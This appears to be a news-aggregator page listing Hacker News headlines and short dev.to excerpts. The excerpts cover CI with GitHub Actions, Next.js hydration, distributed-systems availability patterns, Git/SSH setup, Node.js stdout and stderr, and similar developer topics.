    Your Land, My Land (Offrange) – Lithium vs. Lettuce in the Imperial Valley, CA
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    Kagi Bloopers – Search Results Gone Wrong
    Comments  ( 3 min )
    Activeloop (YC S18) Is Hiring MTS(Back End)and AI Search Engineer
    Comments
    The twin probes just launched toward Mars have an Easter egg on board
    Comments  ( 9 min )
    Show HN: A tool to safely migrate GitHub Actions workflows to Ubuntu-slim runner
    Comments  ( 24 min )
    Our investigation into the suspicious pressure on Archive.today
    Comments  ( 11 min )
    One Handed Keyboard
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    NATO Ended Russia's Estonian Air Incursions
    Comments  ( 21 min )
    EyesOff: How I built a screen contact detection model
    Comments  ( 20 min )
    Spec-Driven Development: The Waterfall Strikes Back
    Comments  ( 5 min )
    Messing with Scraper Bots
    Comments  ( 7 min )
    World Othello Championship Finals
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    A graph explorer of the Epstein emails
    Comments
    The Internet Is Cool. Thank You, TCP
    Comments  ( 9 min )
    Automating rootless Docker host updates with Ansible
    Comments  ( 5 min )
    Ohm Editor
    Comments  ( 1 min )
    Adding Customizable Frame Contrast to KDE Plasma
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    So, you want to design your own language?
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    How two photographers transformed RAW photo support on Mac
    Comments  ( 11 min )
    Scientists reverse kidney damage in mice, hope for humans next
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    I can't recommend Grafana anymore
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    Meet Reservoir – The World's Smartest Water Heater
    Comments  ( 21 min )
    Theft of the Weeping Woman from the National Gallery of Victoria
    Comments
    Over-reliance on English hinders cognitive science
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    Vortex: An extensible, state of the art columnar file format
    Comments  ( 17 min )
    Samsung's 60% DRAM Price Hike Signals a New Phase of Global Memory Tightening
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    A structural regular expression engine for Rust
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    AI note-taking startup Fireflies was really two guys typing notes by hand
    Comments  ( 135 min )
    AMD GPUs Go Brrr
    Comments  ( 28 min )
    I wrote a Pong game in a 512-byte boot sector
    Comments  ( 3 min )
    Show HN: A visual guide to learning Jujutsu (JJ)
    Comments  ( 1 min )
  • Open

    Setting Up CI and Writing Tests for Another Project
    This week, I continued improving the testing setup for my Repository-Context-Packager tool and worked on adding tests to my partner’s project. This was good practice in managing project complexity using automated testing and Continuous Integration. To automate test execution, I added a GitHub Actions CI workflow. The workflow runs on every push and on every pull request. It uses an Ubuntu runner, installs a C++ compiler, builds the project and its tests, and executes all Catch2 test cases. If any test fails, the workflow stops and reports the failure in the pull request. Setting this up helped me understand how automated test pipelines work and how CI ensures the main branch never breaks. For the collaboration part of the lab, I contributed a test to my partner's Python project. Their repository was structured differently, and there wasn’t a single obvious entry point for testing, so I had to explore the package and understand how the modules were organized before writing a test. My contribution was a dynamic import test tests/test_imports.py that walks through every module under the analyzer package and confirms that each one imports correctly. The test automatically discovers all submodules using pkgutil.walk_packages, tries importing them with importlib.import_module(), and reports any failures. This ensures the package structure stays consistent and that no module contains syntax errors or missing dependencies. Working on someone else’s codebase required slowing down and reading the design closely, not just looking at individual lines. It felt closer to debugging or performing a code review, because I had to decide what the expected behavior of their modules should be before creating the test. Overall, this week strengthened my understanding of automated testing, CI workflows, and how to approach testing in unfamiliar projects.  ( 6 min )
    Contrary to JAVA, embedded in Python is the idea of Methods and Functions
    Day 70 [November 15, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 69 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets While JAVA and Python are Object-oriented Programming languages, contrary to JAVA, embedded in Python is the idea of Methods and Functions. JAVA only utilizes the idea of Methods (geeksforgeeks, 2025). Summary: References: geeksforgeeks. (2025, July 11). Difference between Method and Function in Python. https://www.geeksforgeeks.org/python/difference-method-function-python/ Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.)._ Python for data science, AI & development_ [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Coding Challenge Practice - Question 56
    The task is to implement a function that generates a Fibonacci number. The boilerplate code: function fib(n){ if (n === 0) return 0 if (n === 1) return 1 return fib(n - 1) + fib(n - 2) } The fibonacci sequence starts with ) as the 0th number, and 1 as the 1st number. Every subsequent number is a sum of the previous two. Start with two variables. One that holds the previous fibonacci number, and one that holds the next fibonacci number. let prev = 0, curr = 1 Repeatedly update them. The next number is a sum of the previous two. for(let i = 2, i <= n, i++) { let next = prev + curr } The current becomes the previous, the next becomes the current. prev = curr curr = next This is done till the desired position is reached. The final code function fib(n){ if(n < 0) return undefined; if (n === 0) return 0; if (n === 1) return 1; let prev = 0, curr = 1; for(let i = 2; i <= n; i++) { let next = prev + curr; prev = curr; curr = next; } return curr } That's all folks!  ( 6 min )
    Cloud Automation: Stop Clicking Buttons and Start Shipping Faster
    If you're still manually clicking through cloud portals to provision resources, you're working too hard. Cloud automation isn't just a nice-to-have anymore - it's the difference between shipping features quickly and spending your Friday nights babysitting deployments. Let me paint a familiar picture. You need to spin up a new environment. You log into AWS or Azure, click through a dozen screens, copy settings from production (hopefully correctly), configure networking, set up security groups, provision databases, configure monitoring, and two hours later you're done. Then someone asks you to do it again for staging. And again for the QA environment. Manual processes don't scale. They're error-prone, inconsistent, and honestly boring. You became a developer to write code, not to be a profes…  ( 11 min )
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    Day 12 of Django Learning
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    Azure vs OCI Load Balancers & Traffic Routing: What Actually Matters
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    When you use Next.js, the page render twice: On the Server Side (SSR) :- In this process HTML is generated. On the Client (Browser):- React hydrates that HTML and attaches the event listeners. Think of hydration as: “React wakes up the static HTML and converts it into an interactive app.” For hydration to work, the HTML that the server generates must match the HTML that React generates in the browser. If they don’t match → Next.js throws a hydration error. Eg:- Server generated HTML = A Reason - Why Does This Happen? 1.Using browser-only APIs during SSR:- const width = window.innerWidth; 2.Using Date, Math.random(), or dynamic values during render:- Server timestamp ≠ client timestamp → mismatch. {Date.now()} } 4.Fetching data differently on server and client:- You might accidentally: Fetch server-side once Fetch client-side again with a different result This changes HTML → mismatch. How to Fix Hydration Issues? 1.Wrap client-only code inside useEffect:- Anything using window, document, localStorage: const [width, setWidth] = useState(null); useEffect(() => { setWidth(window.innerWidth); }, []); Server renders nothing → client fills it later. 2.Avoid Date.now() or Math.random() directly in render:- Use useEffect or calculate once. const [time, setTime] = useState(null); useEffect(() => setTime(Date.now()), []); 3.Use dynamic import for client-only components:- Example: charts, maps, heavy UI. const Chart = dynamic(() => import("../Chart"), { ssr: false }); Now the component loads only on client → no mismatch. 4.Make sure data is consistent between server and client:- Use server-only fetching (app router) or React Query with proper hydration. Hydration errors happen when the HTML React expects in the browser doesn’t match the HTML generated by Next.js on the server.  ( 7 min )
    Availability — Throttling (1)
    "the "PLEASE CHILL” Pattern your services desperately need" Imagine your service is a tiny café. Most days it’s fine. A few customers, some coffee orders, a little latency but nothing dramatic. Then one day you get featured on Hacker News. Suddenly 10,000 people show up, all yelling GET /coffee at the same time. Options: You try to serve everyone → kitchen melts, nobody gets coffee. You shut the door and deny everyone → users rage, business dies. You let people in at a controlled rate → some wait, some get “come back later,” the kitchen keeps working. That third one is throttling. In distributed systems, throttling is how we tell clients: “You’re not wrong, you’re just early.” Let’s unpack what throttling really is, how it differs from plain rate limiting, and how to design it cleanly in …  ( 9 min )
    ComfyDeploy Local Development Setup Guide
    Getting ComfyDeploy running locally is a bunch of work; but is a dream, and a good helpful one; in which you gotta spend all your weekend just to get things running... By completing this guide, you'll gain hands-on experience with: Full-Stack Development: 🚀 Modern Web Stack: React/Vite frontend + Python FastAPI backend Database Management: PostgreSQL with Drizzle ORM, schema design, and migrations Authentication: Clerk integration with JWT validation Billing & Subscriptions: Autumn API for SaaS monetization and feature limits Containerization: Docker Compose for local development infrastructure Cloud & Serverless Architecture: Serverless Computing: Deploy GPU-accelerated Python functions with Modal Persistent Storage: Modal volumes for model storage and file management Cloud Storage: AW…  ( 26 min )
    Responsive Images in HTML
    In a world where a large portion of traffic comes from mobile devices, making your images responsive is essential for delivering a great user experience. Poorly sized images can break layouts, waste bandwidth, and even harm your page performance. In this post, you’ll learn what responsive images are, why they matter, and how to implement them in HTML using modern best practices. Responsive images are images that automatically adjust to the size of the screen or the element they’re placed in. This ensures that the image: Doesn’t overflow the layout Scales proportionally Improves loading on different devices Avoids unnecessary bandwidth usage The most basic yet very effective way to make an image responsive is through CSS: img { max-width: 1…  ( 8 min )
    Google Maps vs Yelp vs Apollo: Which Has Better B2B Data?
    I tested all three major B2B data sources by scraping 1,000 records from each. Here's what I found about data quality, accuracy, and which one to use for what. Goal: Find 1,000 valid B2B leads in the "marketing agency" niche Sources tested: Google Maps (local businesses) Yelp (reviewed businesses) Apollo (business database) What I measured: Email deliverability rate Phone number accuracy Company data completeness Duplicates between sources What you get: Business name, address, phone Category/industry tags Hours of operation Website URL Review count and rating Email data: ❌ Not included (need separate email finder) Phone accuracy: 92% based on testing 100 random calls Best for: Local service businesses, brick-and-mortar, regional targeting Quality issues I found: 8% of phone numbers were d…  ( 7 min )
    Availability - Heartbeats (2)
    We introduced heartbeats as periodic "I'm alive" messages in distributed systems, unpacked how they support failure detection and cluster membership, and compared different heartbeat topologies: centralized monitors, peer-to-peer checks, and gossip-based designs. Recap Heartbeats Are More Than "I'm Alive" Current load (CPU, memory, request rate) Version or build hash (for safe rolling deployments) Epoch/term info (for consensus / leader election) Shard ownership or partition state Examples in real systems: Load balancers: health checks may include not just "HTTP 200" but also whether the instance is overloaded. Kubernetes: readiness and liveness probes gate scheduling/traffic. The kubelet periodically reports node status to the control plane. Consensus protocols: Raft leaders send periodic…  ( 9 min )
    Let's create a production grade REST API from an existing database or from scratch using Go in seconds
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    Availability — Heartbeats (1)
    Picture this: you’re on-call, it’s 3 a.m., and a cluster node silently dies. No crash loop. No helpful logs. Just… absence. In a distributed system, absence is deadly. A single node going missing can stall leader election, corrupt data, or make your clients hang indefinitely. You don’t get stack traces from a dead machine. You just get silence. Heartbeats are how we turn that silence into a signal. They’re stupidly simple — tiny “I’m alive” messages — but they sit right in the critical path of availability, failover, and system correctness. Let’s walk through them like system designers, not checkbox-monitoring enjoyers. What is a Heartbeat, Really? “I’m still here, and I’m (probably) fine.” It might be a UDP packet, an HTTP request, a gRPC call, or even a row update in a database table. Th…  ( 9 min )
    Temporal State Coordination: A Timeline of a Timeline
    Long, long ago, back when they were relatively new, I decided to have a go at writing a DOM animation library. I called it 'Twixt'. Between, tween, betwixt... I know, right? It didn't matter. It was only for personal use. The existing libraries left me unsatisfied in some way or other, and CSS transition was so new and incomplete it was still vendor-prefixed, if memory serves. It followed principles that I appreciated more back then than I do today, of declarative code; clean, descriptive objects that tell the engine what I want to animate, and how. It suited me as a hobbyist, more interested in solving problems than finding and applying what exists. The original wheel was terrible. As with any animation library, I'd give it the information it needs. Element, property, from, to, duration. …  ( 9 min )
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    Quantum-Inspired Encoding: Revolutionizing Reinforcement Learning with Scarce Data Imagine training an AI to perform life-saving surgery, but you only have a handful of successful procedures to learn from. Or designing a new drug with limited patient data. These are the realities of reinforcement learning (RL) in fields where data is expensive or dangerous to acquire. How can we unlock breakthroughs when experiments are limited, and traditional RL algorithms struggle? The answer lies in reimagining how we represent the problem. Instead of directly feeding states and rewards into the RL algorithm, we can use a quantum-inspired metric encoder to create a more compact and meaningful representation of the data. This encoder, inspired by quantum circuit architectures, transforms the original …  ( 7 min )
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    TL;DR Build a two-stage logo pipeline: Retrieval - generate image embeddings for small crops and match against a logo dictionary with FAISS cosine search. Use SigLIP-2 (NaFlex) so logos are not distorted and small marks still pop. Verification - for top matches, ask LLaVA-OneVision-1.5 a strict JSON question ("Is this the X logo?") and accept only high-confidence "yes". It's a good model sir. A bit longer post this time around. Brand tagging in real-world video is hard: logos are tiny, partly occluded, moving, and often appear on textured backgrounds. A practical approach is a two-stage pipeline: First retrieve likely logo crops with a fast contrastive image encoder. Then verify each candidate with a vision-language model (VLM) that can read text and reason about shapes and context…  ( 14 min )
    Building a simple RAG system in PHP with the Neuron AI framework in one evening
    RAG (Retrieval-Augmented Generation) is an AI method that combines a large language model (LLM) with an external knowledge base to produce more accurate, context-aware answers. The idea is simple: first we retrieve relevant information from documents or data sources, then we pass this information to an LLM to generate the final response. Today, we’ll look at how to build a basic RAG system in PHP (yes, really!) using the Neuron AI framework. This will be a small proof-of-concept: minimal, but fully functional. Ready to generate something useful? In short: RAG helps an AI system avoid guessing by fetching real data before generating an answer. The classical flow has two steps: Retrieval — find relevant document chunks using vector search. Generation — create an answer using the retrieved da…  ( 12 min )
    Availability — Queue Based Load Leveling
    “When spikes hit, don’t blast though — buffer, decouple, control” In distributed systems, you’ll often face a familiar tension: the rate at which requests arrive can wildly overshoot the rate at which your services can safely process them. If you simply funnel every request directly through, you risk collapsing under load, triggering timeouts, throttling, cascading failures. The Queue-Based Load Leveling Pattern offers a neat, reliable way to mitigate that risk, by inserting a buffer between “incoming chaos” and “steady processing”. Queue-based load leveling inserts a durable queue between the component that generates work and the component that processes it. Producers include anything that initiates work — client traffic, upstream microservices, scheduled jobs, or event streams. Instead …  ( 12 min )
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    "Building NecroOS: A Haunted Windows 95 Simulator with Kiro AI"
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    Why Your Snowflake Bill is High and How to Fix It with a Hybrid Approach
    Your Snowflake bill is high primarily because of its compute billing model, which enforces a 60-second minimum charge each time a warehouse resumes. This creates a significant "idle tax" on the frequent, short-running queries common in BI dashboards and ad-hoc analysis. You're often paying for compute you don't actually use. A surprisingly high bill for a modest amount of data is frustrating. We see it all the time. The immediate question is, "Why is my bill so high when my data isn't that big?" The cost isn't driven by data at rest, it's driven by data in motion, specifically by compute patterns. For many modern analytical workflows, the bill inflates from thousands of frequent queries accumulating disproportionately high compute charges. If you don't address this, you'll face budget over…  ( 16 min )
    How to Run Efficient ClamAV Scans on a 4GB RAM Server (Without Killing Your Machine)
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    useRef() and how it prevents flicker in a Map component
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    Resume screener app
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    Why I didn't get any job till now?
    Recently I completed e-commerce project with scalability and clean architecture using Redis, SOLID principles , Dry code methodology, proper DTOS and BullMQ, avoid race conditions and concurrency safe using occ, mongodb transactions, versioning check, atomic updates, reducing latency by indexing on schemas, centralized state management using redux toolkit, custom hooks for dispatch thunk , optimistic ui update in 🛒 cart, coupon engine, payment integration, shipping integration, notifications, different layers for ui and API integration. Tech Stack : MERN/NEXTJS, Tailwindcss,shadcn ui for styling and making modern , responsive ui. But I didn't get any job or freelancing work after doing such a enterprise level project. Where will be my lack.  ( 6 min )
    Οι Ρόλοι του WordPress Αναλυτικός Οδηγός
    Το WordPress διαθέτει ένα σύστημα ρόλων και δικαιωμάτων (capabilities) που καθορίζει τι μπορεί να κάνει κάθε χρήστης στο site. Κάθε ρόλος έχει διαφορετικά προνόμια. Administrator (Διαχειριστής) Περιγραφή: Δικαιώματα / Capabilities: Διαχείριση χρηστών: μπορεί να προσθέτει, να διαγράφει ή να αλλάζει ρόλους άλλων χρηστών. Επεξεργασία και διαγραφή οποιουδήποτε περιεχομένου, ακόμα και άλλων χρηστών. Εγκατάσταση, απενεργοποίηση, διαγραφή plugins και themes. Ρυθμίσεις site: αλλαγές στο General, Writing, Reading, Permalinks κ.α. Προβολή όλων των logs, στατιστικών και εργαλείων. Σημείωση: Πάντα να υπάρχει μόνο ένας ή λίγοι αξιόπιστοι Administrator γιατί έχουν πλήρη έλεγχο. Editor (Συντάκτης / Υπεύθυνος Περιεχομένου) Περιγραφή: Δικαιώματα: Δημιουργία, επεξεργασία και διαγραφή posts και pages όλων τω…  ( 7 min )
    Python Core Utility - `itertools.groupby`
    Intro In this post, we will look at the groupby function from the itertools module. The itertools.groupby function groups consecutive elements from an iterable. It accepts an iterable and an optional callable key that computes a key value for each element. It returns an iterator that yields tuples of (key, group), where group itself is an iterator over the consecutive elements that share that key value. If key is not specified or passed as None, then the value of each element is used as key value. ⚠️ A few critical points to remember: groupby only groups consecutive elements with the same key. If your data has non-consecutive elements with the same key, you'll need to sort the data first. Also, the grouped iterators are only accessible once. So, if you want to access the groups later, yo…  ( 11 min )
    I Built the #1 Fastest Bun Framework At 13 Years Old
    PrinceJS just hit 19,200 req/s, beating Hono, Elysia, and . 2.8 kB gzipped\ 576k requests in 30s\ 21% faster than Elysia\ 106% faster than Express import { prince } from "princejs"; const app = prince(); app.get("/", () => ({ hello: "PrinceJS" })); app.listen(3000); PrinceJS: 19,200 req/s → 576k\ Hono: 16,212 req/s → 486k\ Elysia: 15,862 req/s → 476k\ Express: 9,325 req/s → 280k "I didn't beat them. I destroyed the competition." 🔗 Website: https://princejs.vercel.app\ GitHub: https://github.com/MatthewTheCoder1218/princejs  ( 6 min )
    How I Ended Up Building a Stable Async Processor for n8n (and Turned It Into a PRO Tempate)
    How I Built a Stable Asynchronous Batch Processor for n8n (And Why the Default Loops Weren’t Enough) Async API workflows in n8n get messy fast. Timeouts, rate limits, unstable endpoints, CRM sync delays, retries… I kept running into the same problems over and over. So I built a modular, safe, reusable async batch processor — and this post explains the pattern. Normal loops in n8n fail when you push large datasets: Random HTTP timeouts APIs enforcing strict rate limits Retry logic is inconsistent Long chains become unmaintainable Webhook-based CRMs randomly drop requests I needed something predictable and production-safe. This pattern has 5 independent responsibilities: SplitInBatches → Iteration controller API Request Wrapper → Safe executor Retry Engine → Idempotent retries D…  ( 9 min )
    [Boost]
    🌐 Agentic AI in 2025: How Autonomous Software Is Quietly Becoming the New Found Md Asaduzzaman Atik ・ Nov 14 #ai #programming #career #productivity  ( 5 min )
    Part 1: Mastering Dynamic Programming — 5 Steps to Solve It (Longest Increasing Subsequence Using Tabulation / Bottom-Up)
    Dynamic Programming (DP) has a reputation for being one of the trickiest topics in algorithms. Many learners struggle not because DP is inherently complex, but because they lack a structured approach to reasoning about problems. In this blog, we’ll break DP down into five simple steps that you can apply to most problems. To make things concrete, we’ll use the Longest Increasing Subsequence (LIS) problem as our running example. 🧠 5-Step Framework to Solve DP Problems ### 1. Visualize Examples (Think in Terms of a DAG) Almost all DP problems can be imagined as paths in a Directed Acyclic Graph (DAG). Each state represents a choice, and edges represent transitions to future states. Let’s take our example array: arr = [3, 1, 8, 2, 5] Try to imagine all sequences that can be f…  ( 10 min )
    Nuxt Tutorial 3 - Utils & Composables
    In the previous part, we learned how to work with components and pages. If a certain part of a template is repeated, it's a prime candidate for extraction into a separate new component, in accordance with the programmer's DRY principle. But what if the methods for working with data in the section are repeated? Or what if we want to organize our application better and avoid scary long component files that become difficult to navigate? We certainly can extract the logic from JavaScript (TypeScript) code as well. Nuxt provides automatic imports across the application if we place the relevant files in two additional special folders - /app/utils and /app/composables. Note: In Nuxt v4, these folders are now located inside the /app directory, whereas previously you would find them direct…  ( 11 min )
    Open-Sourcing arkA — A Universal Video Protocol Inspired by RSS
    I’m open-sourcing a new project called arkA, aiming to create a simple, neutral, decentralized video protocol. Think “RSS, but for video.” Key ideas: • storage-agnostic (S3, R2, Arweave, IPFS, NAS) • reference HTML/JS client • optional HLS/DASH/CMAF segment layers • creator-controlled distribution • no algorithms, no tracking Why it exists: Looking for contributors and architectural feedback. Repo: https://github.com/baconpantsuppercut/arkA Discussion board: https://github.com/baconpantsuppercut/arkA/discussions  ( 6 min )
    Understanding err, stdout, and stderr in Node.js
    When executing shell commands in Node.js using the child_process module, three critical elements shape the command's outcome: err, stdout, and stderr. Grasping their roles is vital for effective debugging and error handling. This guide dives into their differences and offers best practices to master them. stdout? stdout (Standard Output) is the stream where a command’s successful output is sent. It holds the expected results of a command, free of error messages. Example: Capturing stdout import { exec } from 'child_process'; exec('echo "Hello, World!"', (err, stdout, stderr) => { console.log(`STDOUT: ${stdout}`); }); Output: STDOUT: Hello, World! Contains the command’s standard output. Excludes error messages (those are routed to stderr). stderr? stderr (Standard Error) is the str…  ( 8 min )
    Multi-Species Mayhem: Upgrading My Martian Iono-Model from CO Solo to Chemical Choir
    By Dr. Masoom Jethwa, Martian Atmospheric Modeler* Sol 642: Phobos is mocking me again with its potato-shaped orbit, but down here in the hab, the real drama's in the code. Last sol's 2D photoelectron sketch was cute—like a kid's drawing of Olympus Mons—but Mars' ionosphere isn't a one-trick CO₂ pony. It's a polyphonic plasma party, with trace gases like N₂, Ar, and even sneaky H₂O belting out ionization harmonies. Ignore them, and your electron densities flop harder than a dust devil in low-g. Why obsess? As Perseverance sniffs ancient microbes and Artemis eyes Martian pit stops, we need models that nail atmospheric escape—how ions flee to space, eroding the planet's watery past. Professor R.P. Singhal's Analytical Yield Spectrum (AYS) from Elements of Space Physics (2022) is my North St…  ( 9 min )
    VS Code vs Visual Studio
    Confused about VS Code vs Visual Studio? You're not alone! 🤔 I've noticed many developers (especially beginners) use these names interchangeably, but they're actually very different tools. Here's a quick breakdown Visual Studio Code (VS Code) 💻 A lightweight, fast, cross-platform code editor ✅ Best for: 🔑 Key Features: Visual Studio (VS) 🏢 A full-featured Integrated Development Environment (IDE) ✅ Best for: 🔑 Key Features: Quick takeaway: VS Code = Fast, versatile editor for most developers Visual Studio = Powerful IDE for .NET/enterprise development Which one do you prefer? Drop a comment! 👇  ( 6 min )
    Why Utility Classes in CSS Make Modern Front-End Development Faster, Cleaner, and More Scalable
    A practical guide to why “utility-first” CSS is winning; and how to use it effectively. Introduction: The War Against Bloated Stylesheets Every front-end engineer eventually hits the same wall; a stylesheet so massive and disorganized that every update feels like defusing a bomb. Overrides pile up, class names drift, and the entire CSS layer becomes a fragile maze. Utility-first CSS emerged as a response to these long-standing pain points; it’s not a fad; it’s a pragmatic architectural pattern that shifts how modern teams write, scale, and maintain UI code. Recent industry reflections highlight that developers are increasingly turning to utility-first approaches because they offer a more predictable and maintainable styling model (Pickering, 2024). For decades, CSS has favo…  ( 12 min )
    5 Key Performance Benchmarks for AI Development in 2025
    5 Key Performance Benchmarks for AI Development in 2025 When we started building our latest AI-powered workflow automation system, we quickly realized that choosing the right tools wasn't just about features—it was about measurable performance. With dozens of AI libraries and frameworks available in 2025, we needed concrete benchmarks to guide our decisions. Through our research and hands-on testing, we identified five critical performance metrics that every AI developer should consider. Here's what we learned and how we approached evaluating different options for our project. The first benchmark we examined was inference speed—how quickly a model processes requests and generates responses. In production environments, this directly impacts user experience and operational costs. MLPerf ha…  ( 11 min )
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    How to create a REST API in seconds Nicolas Bonnici ・ Nov 15 #howto #api #rest #go  ( 5 min )
    Updated errors in this test website I made, Archaic! Bringing your memories to life in an organized bento-grid style to share with friends & family. Still looking for people to test it out, tips for developing this myself in React is appreciated :)
    Building Archaic - Nostalgic memory sharing platform DesignzByOJ ・ Nov 1 #webdev #ai #vibecoding  ( 6 min )
    The Builders: How a Fragmented Life, a Curious Community, and a New Kind of Intelligence Taught Me How to Create
    There is a moment — small, almost imperceptible — that separates a person who “uses” technology from a person whose life is quietly rewritten by it. For me, that moment happened twice. The first time was when I was a boy, staring into the glow of a computer screen my father brought home on a Saturday afternoon. It sat on the kitchen table like an alien artifact — mysterious, humming, full of possibilities I couldn’t yet articulate. I didn’t know it then, but that machine would become my first teacher, my first refuge, and eventually the compass that would orient the rest of my life. The second time it happened, I was an adult — tired, overwhelmed, and sitting at a desk in an office where everyone else seemed to speak a language I couldn’t quite decode. I opened ChatGPT out of desperation, …  ( 10 min )
    The Linux App Structure Explained: Working with /opt, Desktop Entries, and sudo tee
    If you have ever downloaded a portable Linux application or needed to create a custom launcher, you might have come across directories like /opt, files ending in .desktop, or the sudo tee command. Many users run into these concepts without knowing what they mean or how they fit into a normal Linux workflow. This article explains these three topics in a clear and beginner friendly way so you can confidently manage third party applications on your system. The /opt directory is a standard location in Unix based systems. Its name stands for "optional". It is used for installing software that is not part of the core operating system and not managed by your package manager. Here is why software is placed in /opt: It keeps third party applications separate from system installed packages. It preve…  ( 8 min )
    Building a chatbot in Rust powered by Gemini Flash Models. It's pretty cool.
    A post by Tejas Bachhav  ( 6 min )
    SRT Pendulum System Recently Failed? Solutions for Programmer Energy Workers
    Hi everyone, I'm a programmer who loves coding and also uses SRT (Spiritual Response Therapy) and pendulums to balance my inner energy during development sprints. Recently, the SRT pendulum system "crashed" on me, leaving this "energy coder" scrambling. Today, I'll share my story and a full solution guide for fellow devs facing the same issue! SRT Pendulum System Simulation Page body { background: #000; color: #FFD700; font-family: Arial; text-align: center; } .pendulum { width: 200px; height: 200px; margin: 50px auto; position: relative; } .pendulum::before { content: ''; width: 10px; height: 100px; back…  ( 7 min )
    AI-Powered End-to-End Testing: A New Paradigm for Software Quality Assurance
    Table of Contents Introduction The E2E Testing Challenge Problem Analysis The AI Solution E2EGen AI: A Practical Implementation Comparative Analysis Conclusions End-to-end (E2E) testing represents a critical phase in the software development lifecycle, enabling verification of entire system functionality through real-world usage scenarios. This approach requires significant investment in terms of time, resources, and complexity, particularly when performed manually. The primary testing methodologies for E2E divide into two categories: Manual testing: performed by QA teams simulating end-user actions Automated testing: implemented through scripts and automation tools, capable of reducing time but often with high implementation and maintenance costs The goal is to reduce costs and complex…  ( 21 min )
    Building a crypto tool as a solo developer
    “I’m a solo indie developer who built an AI tool for analyzing crypto whitepapers. https://www.whitepaperai.space/  ( 6 min )
    Git and GitHub setup for Linux and Windows | Full Guide.
    Every time I have a new machine, I need to configure a bunch of stuff, including Git, and I wanted to leave a manual for Linux and Windows users on how to properly connect Git on your machine with GitHub. Whether you're starting your coding journey or setting up a fresh Linux (Debian-based) and Windows (Git Bash). sudo apt update sudo apt install git git --version Download Git from https://git-scm.com/install/windows Run installer with default settings\ Verify: git --version git config --global user.name "Your Name" git config --global user.email "you@example.com" git config --list mkdir -p ~/.ssh chmod 700 ~/.ssh ssh-keygen -t ed25519 -C "your_email@example.com" eval "$(ssh-agent -s)" ssh-add ~/.ssh/id_ed25519 cat ~/.ssh/id_ed25519.pub Same commands as Linux. Copy output from: cat ~/.ssh/id_ed25519.pub GitHub → Settings → SSH and GPG keys → New SSH key\ Paste and save ssh -T git@github.com mkdir myproject cd myproject git init echo "Hello Git" > readme.txt git add readme.txt git commit -m "Initial commit" git remote add origin git@github.com:USERNAME/REPO.git git branch -M main git push -u origin main With Git + SSH configured, pushing to GitHub becomes effortless and secure.  ( 7 min )
    Meet GitHub Actions
    Continuous Integration (CI) with GitHub Actions What is CI? Continuous Integration (CI) is a process that automatically tests the latest code to ensure everything works as expected. There are many ways to set up CI, but I find GitHub Actions the easiest to use when hosting a project on GitHub. GitHub Actions runs your project's tests automatically whenever you need it. For example, it can trigger tests when you: Push a new commit Open a pull request This ensures that any new changes won’t break existing features. It gives me confidence before merging anything into the main branch. For public repositories: GitHub Actions is completely free. For private repositories: You can still configure self-hosted runners and use them for free. Enable GitHub Actions Go to your repository, cl…  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    Sean, Amanda, and guest Van Lathan kick off by commiserating over a surprisingly lackluster fall movie slate, then dive into Edgar Wright’s new actioner, The Running Man. They praise Glen Powell’s magnetic lead and some jaw-dropping set pieces, even as the plot veers into “deeply messy” territory. Next up is Now You See Me: Now You Don’t, with Jesse Eisenberg, Dave Franco, and a delightfully sinister Rosamund Pike as a diamond-heiress villain. They revisit their fondness for the original, guess at its box-office fate, and cap things off with Wright himself, who shares insider tales on crafting big studio action sequences and how Powell landed the role. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins has another deep dive where they nitpick every plot hole, overused trope and “dino-cliché” in Jurassic World Rebirth—packing all the laughs and groans into under 17 minutes. They point out how Hollywood just can’t quit reviving this franchise, even if it means looping back to the same old dinosaur beats. Alongside the video, CinemaSins drops links to their website, socials, Patreon and even a poll to learn more about you. The usual credits roll for writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—just in case you want to geek out on who’s tallying up all those sins. Watch on YouTube  ( 6 min )
    ARES Resume Analyzer
    Hello everyone! A few weeks ago, while applying for jobs, I ran into the ultimate modern struggle—matching my resume with job descriptions across portals. The routine was painful: copy resume → paste in ChatGPT/Gemini → copy JD → paste again → hunt for missing skills → pray to the ATS gods → rewrite resume → repeat. Eventually I snapped (in a productive way) and thought, “Why not build a Chrome extension that reads the JD, reads my resume, and instantly spits out a shiny, ATS-friendly resume—no begging, no tears?” So that’s exactly what I'm building. And let me tell you… although I called it a “simple” extension, there is absolutely nothing simple about it. 🥲 I’ll be sharing my daily struggles here—whether they’re useful, relatable, or just mildly entertaining. Also, this is my first post here, so if I overshare, go off-topic, or accidentally trauma-dump about ATS systems… please forgive me. 😄  ( 6 min )
    How to use unsupported macbooks for modern software development
    If you clicked on this, chances are either you own an old unsupported macbook or willing to buy one to kickstart your development journey. Hey, that's a great decision in my opinion. If you don't have enough money to jump to a supported macbook, do not go for cheap Windows laptops. Instead consider an old macboook. Coz macbooks have great displays. You will be starring at text for the rest of the journey so why not go for a better display? Great keyboards (except the 2016-2017 models) Great webcams, speakers and battery backup. MacOS is optimized for these laptops and probability of you getting into OS related bugs are very low compared to Windows machine. Looks skeek, well built, good hinge mechanisms, there's auto brightness for both keyboard and display and many more little qual…  ( 8 min )
    DAY 1 – Introduction to Python
    1.What is Python? 2.Why Python? (Advantages) Comments in Python Keywords *First Python Program 2.arithmetic Operators Data Types in Python 1.Integer 2.String 3.Boolean 4.List 5.Tuples 6.set 7.Dictionary 8.Float  ( 6 min )
    AI Content Marketing: 2025 Strategy Guide
